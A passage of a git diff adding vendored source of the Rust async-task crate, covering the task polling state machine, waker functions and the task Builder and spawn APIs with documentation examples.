&Self::RAW_WAKER_VTABLE))); + let cx = &mut Context::from_waker(&waker); + + let mut state = (*header).state.load(Ordering::Acquire); + + // Update the task's state before polling its future. + loop { + // If the task has already been closed, drop the task reference and return. + if state & CLOSED != 0 { + // Drop the future. + drop_future::(ptr, &Self::TASK_LAYOUT); + + // Mark the task as unscheduled. + let state = (*header).state.fetch_and(!SCHEDULED, Ordering::AcqRel); + + // Take the awaiter out. + let mut awaiter = None; + if state & AWAITER != 0 { + awaiter = (*header).take(None); + } + + // Drop the task reference. + drop_ref(ptr); + + // Notify the awaiter that the future has been dropped. + if let Some(w) = awaiter { + abort_on_panic(|| w.wake()); + } + return false; + } + + // Mark the task as unscheduled and running. + match (*header).state.compare_exchange_weak( + state, + (state & !SCHEDULED) | RUNNING, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // Update the state because we're continuing with polling the future. + state = (state & !SCHEDULED) | RUNNING; + break; + } + Err(s) => state = s, + } + } + + // Poll the inner future, but surround it with a guard that closes the task in case polling + // panics. + // If available, we should also try to catch the panic so that it is propagated correctly. + let guard = Guard::(ptr, &Self::TASK_LAYOUT, PhantomData); + + // Panic propagation is not available for no_std. + #[cfg(not(feature = "std"))] + let poll = ::poll(Pin::new_unchecked(&mut *raw.future), cx).map(Ok); + + #[cfg(feature = "std")] + let poll = { + // Check if we should propagate panics. + if (*header).propagate_panic { + // Use catch_unwind to catch the panic. + match std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| { + ::poll(Pin::new_unchecked(&mut *raw.future), cx) + })) { + Ok(Poll::Ready(v)) => Poll::Ready(Ok(v)), + Ok(Poll::Pending) => Poll::Pending, + Err(e) => Poll::Ready(Err(e)), + } + } else { + ::poll(Pin::new_unchecked(&mut *raw.future), cx).map(Ok) + } + }; + + mem::forget(guard); + + match poll { + Poll::Ready(out) => { + // Replace the future with its output. + drop_future::(ptr, &Self::TASK_LAYOUT); + raw.output.write(out); + + // The task is now completed. + loop { + // If the `Task` is dropped, we'll need to close it and drop the output. + let new = if state & TASK == 0 { + (state & !RUNNING & !SCHEDULED) | COMPLETED | CLOSED + } else { + (state & !RUNNING & !SCHEDULED) | COMPLETED + }; + + // Mark the task as not running and completed. + match (*header).state.compare_exchange_weak( + state, + new, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // If the `Task` is dropped or if the task was closed while running, + // now it's time to drop the output. + if state & TASK == 0 || state & CLOSED != 0 { + // Drop the output. + abort_on_panic(|| raw.output.drop_in_place()); + } + + // Take the awaiter out. + let mut awaiter = None; + if state & AWAITER != 0 { + awaiter = (*header).take(None); + } + + // Drop the task reference. + drop_ref(ptr); + + // Notify the awaiter that the future has been dropped. + if let Some(w) = awaiter { + abort_on_panic(|| w.wake()); + } + break; + } + Err(s) => state = s, + } + } + } + Poll::Pending => { + let mut future_dropped = false; + + // The task is still not completed. + loop { + // If the task was closed while running, we'll need to unschedule in case it + // was woken up and then destroy it. + let new = if state & CLOSED != 0 { + state & !RUNNING & !SCHEDULED + } else { + state & !RUNNING + }; + + if state & CLOSED != 0 && !future_dropped { + // The thread that closed the task didn't drop the future because it was + // running so now it's our responsibility to do so. + drop_future::(ptr, &Self::TASK_LAYOUT); + future_dropped = true; + } + + // Mark the task as not running. + match (*header).state.compare_exchange_weak( + state, + new, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(state) => { + // If the task was closed while running, we need to notify the awaiter. + // If the task was woken up while running, we need to schedule it. + // Otherwise, we just drop the task reference. + if state & CLOSED != 0 { + // Take the awaiter out. + let mut awaiter = None; + if state & AWAITER != 0 { + awaiter = (*header).take(None); + } + + // Drop the task reference. + drop_ref(ptr); + + // Notify the awaiter that the future has been dropped. + if let Some(w) = awaiter { + abort_on_panic(|| w.wake()); + } + } else if state & SCHEDULED != 0 { + // The thread that woke the task up didn't reschedule it because + // it was running so now it's our responsibility to do so. + schedule::(ptr, ScheduleInfo::new(true)); + return true; + } else { + // Drop the task reference. + drop_ref(ptr); + } + break; + } + Err(s) => state = s, + } + } + } + } + + false + } +} + +/// A guard that closes the task if polling its future panics. +struct Guard(*const (), &'static TaskLayout, PhantomData F>) +where + F: Future; + +impl Drop for Guard +where + F: Future, +{ + fn drop(&mut self) { + let ptr = self.0; + let task_layout = self.1; + let header = ptr as *const Header; + + unsafe { + let header = &*header; + let mut state = header.state.load(Ordering::Acquire); + + loop { + // If the task was closed while running, then unschedule it, drop its + // future, and drop the task reference. + if state & CLOSED != 0 { + // The thread that closed the task didn't drop the future because it + // was running so now it's our responsibility to do so. + drop_future::(ptr, task_layout); + + // Mark the task as not running and not scheduled. + header + .state + .fetch_and(!RUNNING & !SCHEDULED, Ordering::AcqRel); + + // Take the awaiter out. + let mut awaiter = None; + if state & AWAITER != 0 { + awaiter = header.take(None); + } + + // Drop the task reference. + drop_ref(ptr); + + // Notify the awaiter that the future has been dropped. + if let Some(w) = awaiter { + abort_on_panic(|| w.wake()); + } + break; + } + + // Mark the task as not running, not scheduled, and closed. + match header.state.compare_exchange_weak( + state, + (state & !RUNNING & !SCHEDULED) | CLOSED, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(state) => { + // Drop the future because the task is now closed. + drop_future::(ptr, task_layout); + + // Take the awaiter out. + let mut awaiter = None; + if state & AWAITER != 0 { + awaiter = header.take(None); + } + + // Drop the task reference. + drop_ref(ptr); + + // Notify the awaiter that the future has been dropped. + if let Some(w) = awaiter { + abort_on_panic(|| w.wake()); + } + break; + } + Err(s) => state = s, + } + } + } + } +} + +/// Schedules a task for running. +/// +/// This function doesn't modify the state of the task. It only passes the task reference to +/// its schedule function. +unsafe fn schedule, M>(ptr: *const (), info: ScheduleInfo) { + let header = ptr as *const Header; + let task_layout = (*header).vtable.layout_info; + let schedule = ptr.add_byte(task_layout.offset_s) as *mut S; + + // If the schedule function has captured variables, create a temporary waker that prevents + // the task from getting deallocated while the function is being invoked. + let _waker; + if mem::size_of::() > 0 { + _waker = Waker::from_raw(Header::clone_waker(ptr)); + } + + let task = Runnable::from_raw(NonNull::new_unchecked(ptr as *mut ())); + (*schedule).schedule(task, info); +} + +/// Drops a waker. +/// +/// This function will decrement the reference count. If it drops down to zero, the associated +/// `Task` has been dropped too, and the task has not been completed, then it will get +/// scheduled one more time so that its future gets dropped by the executor. +#[inline] +unsafe fn drop_waker(ptr: *const ()) { + let header = ptr as *const Header; + match Header::drop_waker(ptr) { + DropWakerAction::Schedule => ((*header).vtable.schedule)(ptr, ScheduleInfo::new(false)), + DropWakerAction::Destroy => ((*header).vtable.destroy)(ptr), + DropWakerAction::None => {} + } +} + +/// Drops the future inside a task. +#[inline] +unsafe fn drop_future(ptr: *const (), task_layout: &TaskLayout) { + let future_ptr = ptr.add_byte(task_layout.offset_f) as *mut F; + + // We need a safeguard against panics because the destructor can panic. + abort_on_panic(|| { + future_ptr.drop_in_place(); + }) +} + +/// Wakes a waker. +unsafe fn wake, M>(ptr: *const ()) { + // This is just an optimization. If the schedule function has captured variables, then + // we'll do less reference counting if we wake the waker by reference and then drop it. + if mem::size_of::() > 0 { + wake_by_ref::(ptr); + drop_waker(ptr); + return; + } + + let header = ptr as *const Header; + + let mut state = (*header).state.load(Ordering::Acquire); + + loop { + // If the task is completed or closed, it can't be woken up. + if state & (COMPLETED | CLOSED) != 0 { + // Drop the waker. + drop_waker(ptr); + break; + } + + // If the task is already scheduled, we just need to synchronize with the thread that + // will run the task by "publishing" our current view of the memory. + if state & SCHEDULED != 0 { + // Update the state without actually modifying it. + match (*header).state.compare_exchange_weak( + state, + state, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // Drop the waker. + drop_waker(ptr); + break; + } + Err(s) => state = s, + } + } else { + // Mark the task as scheduled. + match (*header).state.compare_exchange_weak( + state, + state | SCHEDULED, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // If the task is not yet scheduled and isn't currently running, now is the + // time to schedule it. + if state & RUNNING == 0 { + // Schedule the task. + schedule::(ptr, ScheduleInfo::new(false)); + } else { + // Drop the waker. + drop_waker(ptr); + } + + break; + } + Err(s) => state = s, + } + } + } +} + +/// Wakes a waker by reference. +unsafe fn wake_by_ref, M>(ptr: *const ()) { + let header = ptr as *const Header; + let header = &*header; + let task_layout = header.vtable.layout_info; + + let mut state = header.state.load(Ordering::Acquire); + + loop { + // If the task is completed or closed, it can't be woken up. + if state & (COMPLETED | CLOSED) != 0 { + break; + } + + // If the task is already scheduled, we just need to synchronize with the thread that + // will run the task by "publishing" our current view of the memory. + if state & SCHEDULED != 0 { + // Update the state without actually modifying it. + match header.state.compare_exchange_weak( + state, + state, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => break, + Err(s) => state = s, + } + } else { + // If the task is not running, we can schedule right away. + let new = if state & RUNNING == 0 { + (state | SCHEDULED) + REFERENCE + } else { + state | SCHEDULED + }; + + // Mark the task as scheduled. + match header.state.compare_exchange_weak( + state, + new, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // If the task is not running, now is the time to schedule. + if state & RUNNING == 0 { + // If the reference count overflowed, abort. + if state > isize::MAX as usize { + abort(); + } + + let schedule = ptr.add_byte(task_layout.offset_s) as *mut S; + + // Schedule the task. There is no need to call `Self::schedule(ptr)` + // because the schedule function cannot be destroyed while the waker is + // still alive. + let task = Runnable::from_raw(NonNull::new_unchecked(ptr as *mut ())); + (*schedule).schedule(task, ScheduleInfo::new(false)); + } + + break; + } + Err(s) => state = s, + } + } + } +} + +/// Cleans up task's resources and deallocates it. +/// +/// The schedule function will be dropped, and the task will then get deallocated. +/// The task must be closed before this function is called. +#[inline] +unsafe fn destroy(ptr: *const ()) { + let header = ptr as *const Header; + let task_layout = (*header).vtable.layout_info; + let schedule = ptr.add_byte(task_layout.offset_s); + + // We need a safeguard against panics because destructors can panic. + abort_on_panic(|| { + // Drop the header along with the metadata. + (ptr as *mut HeaderWithMetadata).drop_in_place(); + + // Drop the schedule function. + (schedule as *mut S).drop_in_place(); + }); + + // Finally, deallocate the memory reserved by the task. + alloc::alloc::dealloc(ptr as *mut u8, task_layout.layout); +} + +/// Drops a task reference (`Runnable` or `Waker`). +/// +/// This function will decrement the reference count. If it drops down to zero and the +/// associated `Task` handle has been dropped too, then the task gets destroyed. +#[inline] +pub(crate) unsafe fn drop_ref(ptr: *const ()) { + let header = ptr as *const Header; + let header = &*header; + + // Decrement the reference count. + let new = header.state.fetch_sub(REFERENCE, Ordering::AcqRel) - REFERENCE; + + // If this was the last reference to the task and the `Task` has been dropped too, + // then destroy the task. + if new & !(REFERENCE - 1) == 0 && new & TASK == 0 { + (header.vtable.destroy)(ptr); + } +} + +trait PointerPolyfill { + // Polyfill for `byte_add`. + // TODO: Replace this with `byte_add` once the MSRV should be bumped past 1.75 + /// Adds an unsigned offset in bytes to a pointer. + /// + /// `count` is in units of bytes. + /// + /// This is purely a convenience for casting to a `u8` pointer and + /// using [add][pointer::add] on it. See that method for documentation + /// and safety requirements. + /// + /// # Safety + /// If any of the following conditions are violated, the result is Undefined Behavior: + /// + /// - The offset in bytes, count * size_of::(), computed on mathematical integers + /// (without “wrapping aroundâ€), must fit in an isize. + /// - If the computed offset is non-zero, then self must be derived from a pointer to + /// some allocation, and the entire memory range between self and the result must be + /// in bounds of that allocation. In particular, this range must not “wrap around†+ /// the edge of the address space. + unsafe fn add_byte(self, size: usize) -> Self; +} + +impl PointerPolyfill for *const T { + #[inline] + unsafe fn add_byte(self, size: usize) -> Self { + (self.cast::().add(size)).cast::() + } +} diff --git a/lib/malio/async-task/src/runnable.rs b/lib/malio/async-task/src/runnable.rs new file mode 100644 index 0000000..cada62d --- /dev/null +++ b/lib/malio/async-task/src/runnable.rs @@ -0,0 +1,956 @@ +use core::fmt; +use core::future::Future; +use core::marker::PhantomData; +use core::mem; +use core::ptr::NonNull; +use core::sync::atomic::Ordering; +use core::task::Waker; + +use crate::header::Header; +use crate::header::HeaderWithMetadata; +use crate::raw::drop_ref; +use crate::raw::{allocate_task, RawTask}; +use crate::state::*; +use crate::Task; + +mod sealed { + use super::*; + pub trait Sealed {} + + impl Sealed for F where F: Fn(Runnable) {} + + impl Sealed for WithInfo where F: Fn(Runnable, ScheduleInfo) {} +} + +/// A builder that creates a new task. +#[derive(Debug)] +pub struct Builder { + /// The metadata associated with the task. + pub(crate) metadata: M, + + /// Whether or not a panic that occurs in the task should be propagated. + #[cfg(feature = "std")] + pub(crate) propagate_panic: bool, +} + +impl Default for Builder { + fn default() -> Self { + Builder::new().metadata(M::default()) + } +} + +/// Extra scheduling information that can be passed to the scheduling function. +/// +/// The data source of this struct is directly from the actual implementation +/// of the crate itself, different from [`Runnable`]'s metadata, which is +/// managed by the caller. +/// +/// # Examples +/// +/// ``` +/// use async_task::{Runnable, ScheduleInfo, WithInfo}; +/// use std::sync::{Arc, Mutex}; +/// +/// // The future inside the task. +/// let future = async { +/// println!("Hello, world!"); +/// }; +/// +/// // If the task gets woken up while running, it will be sent into this channel. +/// let (s, r) = flume::unbounded(); +/// // Otherwise, it will be placed into this slot. +/// let lifo_slot = Arc::new(Mutex::new(None)); +/// let schedule = move |runnable: Runnable, info: ScheduleInfo| { +/// if info.woken_while_running { +/// s.send(runnable).unwrap() +/// } else { +/// let last = lifo_slot.lock().unwrap().replace(runnable); +/// if let Some(last) = last { +/// s.send(last).unwrap() +/// } +/// } +/// }; +/// +/// // Create the actual scheduler to be spawned with some future. +/// let scheduler = WithInfo(schedule); +/// // Create a task with the future and the scheduler. +/// let (runnable, task) = async_task::spawn(future, scheduler); +/// ``` +#[derive(Debug, Copy, Clone)] +#[non_exhaustive] +pub struct ScheduleInfo { + /// Indicates whether the task gets woken up while running. + /// + /// It is set to true usually because the task has yielded itself to the + /// scheduler. + pub woken_while_running: bool, +} + +impl ScheduleInfo { + pub(crate) fn new(woken_while_running: bool) -> Self { + ScheduleInfo { + woken_while_running, + } + } +} + +/// The trait for scheduling functions. +pub trait Schedule: sealed::Sealed { + /// The actual scheduling procedure. + fn schedule(&self, runnable: Runnable, info: ScheduleInfo); +} + +impl Schedule for F +where + F: Fn(Runnable), +{ + fn schedule(&self, runnable: Runnable, _: ScheduleInfo) { + self(runnable) + } +} + +/// Pass a scheduling function with more scheduling information - a.k.a. +/// [`ScheduleInfo`]. +/// +/// Sometimes, it's useful to pass the runnable's state directly to the +/// scheduling function, such as whether it's woken up while running. The +/// scheduler can thus use the information to determine its scheduling +/// strategy. +/// +/// The data source of [`ScheduleInfo`] is directly from the actual +/// implementation of the crate itself, different from [`Runnable`]'s metadata, +/// which is managed by the caller. +/// +/// # Examples +/// +/// ``` +/// use async_task::{ScheduleInfo, WithInfo}; +/// use std::sync::{Arc, Mutex}; +/// +/// // The future inside the task. +/// let future = async { +/// println!("Hello, world!"); +/// }; +/// +/// // If the task gets woken up while running, it will be sent into this channel. +/// let (s, r) = flume::unbounded(); +/// // Otherwise, it will be placed into this slot. +/// let lifo_slot = Arc::new(Mutex::new(None)); +/// let schedule = move |runnable, info: ScheduleInfo| { +/// if info.woken_while_running { +/// s.send(runnable).unwrap() +/// } else { +/// let last = lifo_slot.lock().unwrap().replace(runnable); +/// if let Some(last) = last { +/// s.send(last).unwrap() +/// } +/// } +/// }; +/// +/// // Create a task with the future and the schedule function. +/// let (runnable, task) = async_task::spawn(future, WithInfo(schedule)); +/// ``` +#[derive(Debug)] +pub struct WithInfo(pub F); + +impl From for WithInfo { + fn from(value: F) -> Self { + WithInfo(value) + } +} + +impl Schedule for WithInfo +where + F: Fn(Runnable, ScheduleInfo), +{ + fn schedule(&self, runnable: Runnable, info: ScheduleInfo) { + (self.0)(runnable, info) + } +} + +impl Builder<()> { + /// Creates a new task builder. + /// + /// By default, this task builder has no metadata. Use the [`metadata`] method to + /// set the metadata. + /// + /// # Examples + /// + /// ``` + /// use async_task::Builder; + /// + /// let (runnable, task) = Builder::new().spawn(|()| async {}, |_| {}); + /// ``` + pub fn new() -> Builder<()> { + Builder { + metadata: (), + #[cfg(feature = "std")] + propagate_panic: false, + } + } + + /// Adds metadata to the task. + /// + /// In certain cases, it may be useful to associate some metadata with a task. For instance, + /// you may want to associate a name with a task, or a priority for a priority queue. This + /// method allows the user to attach arbitrary metadata to a task that is available through + /// the [`Runnable`] or the [`Task`]. + /// + /// # Examples + /// + /// This example creates an executor that associates a "priority" number with each task, and + /// then runs the tasks in order of priority. + /// + /// ``` + /// use async_task::{Builder, Runnable}; + /// use once_cell::sync::Lazy; + /// use std::cmp; + /// use std::collections::BinaryHeap; + /// use std::sync::Mutex; + /// + /// # smol::future::block_on(async { + /// /// A wrapper around a `Runnable` that implements `Ord` so that it can be used in a + /// /// priority queue. + /// struct TaskWrapper(Runnable); + /// + /// impl PartialEq for TaskWrapper { + /// fn eq(&self, other: &Self) -> bool { + /// self.0.metadata() == other.0.metadata() + /// } + /// } + /// + /// impl Eq for TaskWrapper {} + /// + /// impl PartialOrd for TaskWrapper { + /// fn partial_cmp(&self, other: &Self) -> Option { + /// Some(self.cmp(other)) + /// } + /// } + /// + /// impl Ord for TaskWrapper { + /// fn cmp(&self, other: &Self) -> cmp::Ordering { + /// self.0.metadata().cmp(other.0.metadata()) + /// } + /// } + /// + /// static EXECUTOR: Lazy>> = Lazy::new(|| { + /// Mutex::new(BinaryHeap::new()) + /// }); + /// + /// let schedule = |runnable| { + /// EXECUTOR.lock().unwrap().push(TaskWrapper(runnable)); + /// }; + /// + /// // Spawn a few tasks with different priorities. + /// let spawn_task = move |priority| { + /// let (runnable, task) = Builder::new().metadata(priority).spawn( + /// move |_| async move { priority }, + /// schedule, + /// ); + /// runnable.schedule(); + /// task + /// }; + /// + /// let t1 = spawn_task(1); + /// let t2 = spawn_task(2); + /// let t3 = spawn_task(3); + /// + /// // Run the tasks in order of priority. + /// let mut metadata_seen = vec![]; + /// while let Some(TaskWrapper(runnable)) = EXECUTOR.lock().unwrap().pop() { + /// metadata_seen.push(*runnable.metadata()); + /// runnable.run(); + /// } + /// + /// assert_eq!(metadata_seen, vec![3, 2, 1]); + /// assert_eq!(t1.await, 1); + /// assert_eq!(t2.await, 2); + /// assert_eq!(t3.await, 3); + /// # }); + /// ``` + pub fn metadata(self, metadata: M) -> Builder { + Builder { + metadata, + #[cfg(feature = "std")] + propagate_panic: self.propagate_panic, + } + } +} + +// Use a macro to brute force inlining to minimize stack copies of potentially +// large futures. +macro_rules! spawn_unchecked { + ($f:tt, $s:tt, $m:tt, $builder:ident, $schedule:ident, $raw:ident => $future:block) => {{ + let ptr = allocate_task!($f, $s, $m, $builder, $schedule, $raw => $future); + + #[allow(unused_unsafe)] + // SAFTETY: The task was just allocated above. + let runnable = unsafe { Runnable::from_raw(ptr) }; + let task = Task { + ptr, + _marker: PhantomData, + }; + (runnable, task) + }}; +} + +impl Builder { + /// Propagates panics that occur in the task. + /// + /// When this is `true`, panics that occur in the task will be propagated to the caller of + /// the [`Task`]. When this is false, no special action is taken when a panic occurs in the + /// task, meaning that the caller of [`Runnable::run`] will observe a panic. + /// + /// This is only available when the `std` feature is enabled. By default, this is `false`. + /// + /// # Examples + /// + /// ``` + /// use async_task::Builder; + /// use futures_lite::future::poll_fn; + /// use std::future::Future; + /// use std::panic; + /// use std::pin::Pin; + /// use std::task::{Context, Poll}; + /// + /// fn did_panic(f: F) -> bool { + /// panic::catch_unwind(panic::AssertUnwindSafe(f)).is_err() + /// } + /// + /// # smol::future::block_on(async { + /// let (runnable1, mut task1) = Builder::new() + /// .propagate_panic(true) + /// .spawn(|()| async move { panic!() }, |_| {}); + /// + /// let (runnable2, mut task2) = Builder::new() + /// .propagate_panic(false) + /// .spawn(|()| async move { panic!() }, |_| {}); + /// + /// assert!(!did_panic(|| { runnable1.run(); })); + /// assert!(did_panic(|| { runnable2.run(); })); + /// + /// let waker = poll_fn(|cx| Poll::Ready(cx.waker().clone())).await; + /// let mut cx = Context::from_waker(&waker); + /// assert!(did_panic(|| { let _ = Pin::new(&mut task1).poll(&mut cx); })); + /// assert!(did_panic(|| { let _ = Pin::new(&mut task2).poll(&mut cx); })); + /// # }); + /// ``` + #[cfg(feature = "std")] + pub fn propagate_panic(self, propagate_panic: bool) -> Builder { + Builder { + metadata: self.metadata, + propagate_panic, + } + } + + /// Creates a new task. + /// + /// The returned [`Runnable`] is used to poll the `future`, and the [`Task`] is used to await its + /// output. + /// + /// Method [`run()`][`Runnable::run()`] polls the task's future once. Then, the [`Runnable`] + /// vanishes and only reappears when its [`Waker`] wakes the task, thus scheduling it to be run + /// again. + /// + /// When the task is woken, its [`Runnable`] is passed to the `schedule` function. + /// The `schedule` function should not attempt to run the [`Runnable`] nor to drop it. Instead, it + /// should push it into a task queue so that it can be processed later. + /// + /// If you need to spawn a future that does not implement [`Send`] or isn't `'static`, consider + /// using [`spawn_local()`] or [`spawn_unchecked()`] instead. + /// + /// # Examples + /// + /// ``` + /// use async_task::Builder; + /// + /// // The future inside the task. + /// let future = async { + /// println!("Hello, world!"); + /// }; + /// + /// // A function that schedules the task when it gets woken up. + /// let (s, r) = flume::unbounded(); + /// let schedule = move |runnable| s.send(runnable).unwrap(); + /// + /// // Create a task with the future and the schedule function. + /// let (runnable, task) = Builder::new().spawn(|()| future, schedule); + /// ``` + pub fn spawn(self, future: F, schedule: S) -> (Runnable, Task) + where + F: FnOnce(&M) -> Fut, + Fut: Future + Send + 'static, + Fut::Output: Send + 'static, + S: Schedule + Send + Sync + 'static, + { + unsafe { + spawn_unchecked!(Fut, S, M, self, schedule, raw => { future(&(*raw.header).metadata) }) + } + } + + /// Creates a new thread-local task. + /// + /// This function is same as [`spawn()`], except it does not require [`Send`] on `future`. If the + /// [`Runnable`] is used or dropped on another thread, a panic will occur. + /// + /// This function is only available when the `std` feature for this crate is enabled. + /// + /// # Examples + /// + /// ``` + /// use async_task::{Builder, Runnable}; + /// use flume::{Receiver, Sender}; + /// use std::rc::Rc; + /// + /// thread_local! { + /// // A queue that holds scheduled tasks. + /// static QUEUE: (Sender, Receiver) = flume::unbounded(); + /// } + /// + /// // Make a non-Send future. + /// let msg: Rc = "Hello, world!".into(); + /// let future = async move { + /// println!("{}", msg); + /// }; + /// + /// // A function that schedules the task when it gets woken up. + /// let s = QUEUE.with(|(s, _)| s.clone()); + /// let schedule = move |runnable| s.send(runnable).unwrap(); + /// + /// // Create a task with the future and the schedule function. + /// let (runnable, task) = Builder::new().spawn_local(move |()| future, schedule); + /// ``` + #[cfg(feature = "std")] + pub fn spawn_local( + self, + future: F, + schedule: S, + ) -> (Runnable, Task) + where + F: FnOnce(&M) -> Fut, + Fut: Future + 'static, + Fut::Output: 'static, + S: Schedule + Send + Sync + 'static, + { + use std::mem::ManuallyDrop; + use std::pin::Pin; + use std::task::{Context, Poll}; + use std::thread::{self, ThreadId}; + + #[inline] + fn thread_id() -> ThreadId { + std::thread_local! { + static ID: ThreadId = thread::current().id(); + } + ID.try_with(|id| *id) + .unwrap_or_else(|_| thread::current().id()) + } + + struct Checked { + id: ThreadId, + inner: ManuallyDrop, + } + + impl Drop for Checked { + fn drop(&mut self) { + assert!( + self.id == thread_id(), + "local task dropped by a thread that didn't spawn it" + ); + unsafe { + ManuallyDrop::drop(&mut self.inner); + } + } + } + + impl Future for Checked { + type Output = F::Output; + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + assert!( + self.id == thread_id(), + "local task polled by a thread that didn't spawn it" + ); + unsafe { self.map_unchecked_mut(|c| &mut *c.inner).poll(cx) } + } + } + + // Wrap the future into one that checks which thread it's on. + let future = move |meta| { + let future = future(meta); + + Checked { + id: thread_id(), + inner: ManuallyDrop::new(future), + } + }; + + unsafe { self.spawn_unchecked(future, schedule) } + } + + /// Creates a new task without [`Send`], [`Sync`], and `'static` bounds. + /// + /// This function is same as [`spawn()`], except it does not require [`Send`], [`Sync`], and + /// `'static` on `future` and `schedule`. + /// + /// # Safety + /// + /// - If `Fut` is not [`Send`], its [`Runnable`] must be used and dropped on the original + /// thread. + /// - If `Fut` is not `'static`, borrowed non-metadata variables must outlive its [`Runnable`]. + /// - If `schedule` is not [`Send`] and [`Sync`], all instances of the [`Runnable`]'s [`Waker`] + /// must be used and dropped on the original thread. + /// - If `schedule` is not `'static`, borrowed variables must outlive all instances of the + /// [`Runnable`]'s [`Waker`]. + /// + /// # Examples + /// + /// ``` + /// use async_task::Builder; + /// + /// // The future inside the task. + /// let future = async { + /// println!("Hello, world!"); + /// }; + /// + /// // If the task gets woken up, it will be sent into this channel. + /// let (s, r) = flume::unbounded(); + /// let schedule = move |runnable| s.send(runnable).unwrap(); + /// + /// // Create a task with the future and the schedule function. + /// let (runnable, task) = unsafe { Builder::new().spawn_unchecked(move |()| future, schedule) }; + /// ``` + pub unsafe fn spawn_unchecked<'a, F, Fut, S>( + self, + future: F, + schedule: S, + ) -> (Runnable, Task) + where + F: FnOnce(&'a M) -> Fut, + Fut: Future + 'a, + S: Schedule, + M: 'a, + { + spawn_unchecked!(Fut, S, M, self, schedule, raw => { future(&(*raw.header).metadata) }) + } +} + +/// Creates a new task. +/// +/// The returned [`Runnable`] is used to poll the `future`, and the [`Task`] is used to await its +/// output. +/// +/// Method [`run()`][`Runnable::run()`] polls the task's future once. Then, the [`Runnable`] +/// vanishes and only reappears when its [`Waker`] wakes the task, thus scheduling it to be run +/// again. +/// +/// When the task is woken, its [`Runnable`] is passed to the `schedule` function. +/// The `schedule` function should not attempt to run the [`Runnable`] nor to drop it. Instead, it +/// should push it into a task queue so that it can be processed later. +/// +/// If you need to spawn a future that does not implement [`Send`] or isn't `'static`, consider +/// using [`spawn_local()`] or [`spawn_unchecked()`] instead. +/// +/// # Examples +/// +/// ``` +/// // The future inside the task. +/// let future = async { +/// println!("Hello, world!"); +/// }; +/// +/// // A function that schedules the task when it gets woken up. +/// let (s, r) = flume::unbounded(); +/// let schedule = move |runnable| s.send(runnable).unwrap(); +/// +/// // Create a task with the future and the schedule function. +/// let (runnable, task) = async_task::spawn(future, schedule); +/// ``` +pub fn spawn(future: F, schedule: S) -> (Runnable, Task) +where + F: Future + Send + 'static, + F::Output: Send + 'static, + S: Schedule + Send + Sync + 'static, +{ + let builder = Builder::new(); + unsafe { spawn_unchecked!(F, S, (), builder, schedule, raw => { future }) } +} + +/// Creates a new thread-local task. +/// +/// This function is same as [`spawn()`], except it does not require [`Send`] on `future`. If the +/// [`Runnable`] is used or dropped on another thread, a panic will occur. +/// +/// This function is only available when the `std` feature for this crate is enabled. +/// +/// # Examples +/// +/// ``` +/// use async_task::Runnable; +/// use flume::{Receiver, Sender}; +/// use std::rc::Rc; +/// +/// thread_local! { +/// // A queue that holds scheduled tasks. +/// static QUEUE: (Sender, Receiver) = flume::unbounded(); +/// } +/// +/// // Make a non-Send future. +/// let msg: Rc = "Hello, world!".into(); +/// let future = async move { +/// println!("{}", msg); +/// }; +/// +/// // A function that schedules the task when it gets woken up. +/// let s = QUEUE.with(|(s, _)| s.clone()); +/// let schedule = move |runnable| s.send(runnable).unwrap(); +/// +/// // Create a task with the future and the schedule function. +/// let (runnable, task) = async_task::spawn_local(future, schedule); +/// ``` +#[cfg(feature = "std")] +pub fn spawn_local(future: F, schedule: S) -> (Runnable, Task) +where + F: Future + 'static, + F::Output: 'static, + S: Schedule + Send + Sync + 'static, +{ + Builder::new().spawn_local(move |()| future, schedule) +} + +/// Creates a new task without [`Send`], [`Sync`], and `'static` bounds. +/// +/// This function is same as [`spawn()`], except it does not require [`Send`], [`Sync`], and +/// `'static` on `future` and `schedule`. +/// +/// # Safety +/// +/// - If `future` is not [`Send`], its [`Runnable`] must be used and dropped on the original +/// thread. +/// - If `future` is not `'static`, borrowed variables must outlive its [`Runnable`]. +/// - If `schedule` is not [`Send`] and [`Sync`], all instances of the [`Runnable`]'s [`Waker`] +/// must be used and dropped on the original thread. +/// - If `schedule` is not `'static`, borrowed variables must outlive all instances of the +/// [`Runnable`]'s [`Waker`]. +/// +/// # Examples +/// +/// ``` +/// // The future inside the task. +/// let future = async { +/// println!("Hello, world!"); +/// }; +/// +/// // If the task gets woken up, it will be sent into this channel. +/// let (s, r) = flume::unbounded(); +/// let schedule = move |runnable| s.send(runnable).unwrap(); +/// +/// // Create a task with the future and the schedule function. +/// let (runnable, task) = unsafe { async_task::spawn_unchecked(future, schedule) }; +/// ``` +pub unsafe fn spawn_unchecked(future: F, schedule: S) -> (Runnable, Task) +where + F: Future, + S: Schedule, +{ + let builder = Builder::new(); + spawn_unchecked!(F, S, (), builder, schedule, raw => { future }) +} + +/// A handle to a runnable task. +/// +/// Every spawned task has a single [`Runnable`] handle, which only exists when the task is +/// scheduled for running. +/// +/// Method [`run()`][`Runnable::run()`] polls the task's future once. Then, the [`Runnable`] +/// vanishes and only reappears when its [`Waker`] wakes the task, thus scheduling it to be run +/// again. +/// +/// Dropping a [`Runnable`] cancels the task, which means its future won't be polled again, and +/// awaiting the [`Task`] after that will result in a panic. +/// +/// # Examples +/// +/// ``` +/// use async_task::Runnable; +/// use once_cell::sync::Lazy; +/// use std::{panic, thread}; +/// +/// // A simple executor. +/// static QUEUE: Lazy> = Lazy::new(|| { +/// let (sender, receiver) = flume::unbounded::(); +/// thread::spawn(|| { +/// for runnable in receiver { +/// let _ignore_panic = panic::catch_unwind(|| runnable.run()); +/// } +/// }); +/// sender +/// }); +/// +/// // Create a task with a simple future. +/// let schedule = |runnable| QUEUE.send(runnable).unwrap(); +/// let (runnable, task) = async_task::spawn(async { 1 + 2 }, schedule); +/// +/// // Schedule the task and await its output. +/// runnable.schedule(); +/// assert_eq!(smol::future::block_on(task), 3); +/// ``` +pub struct Runnable { + /// A pointer to the heap-allocated task. + pub(crate) 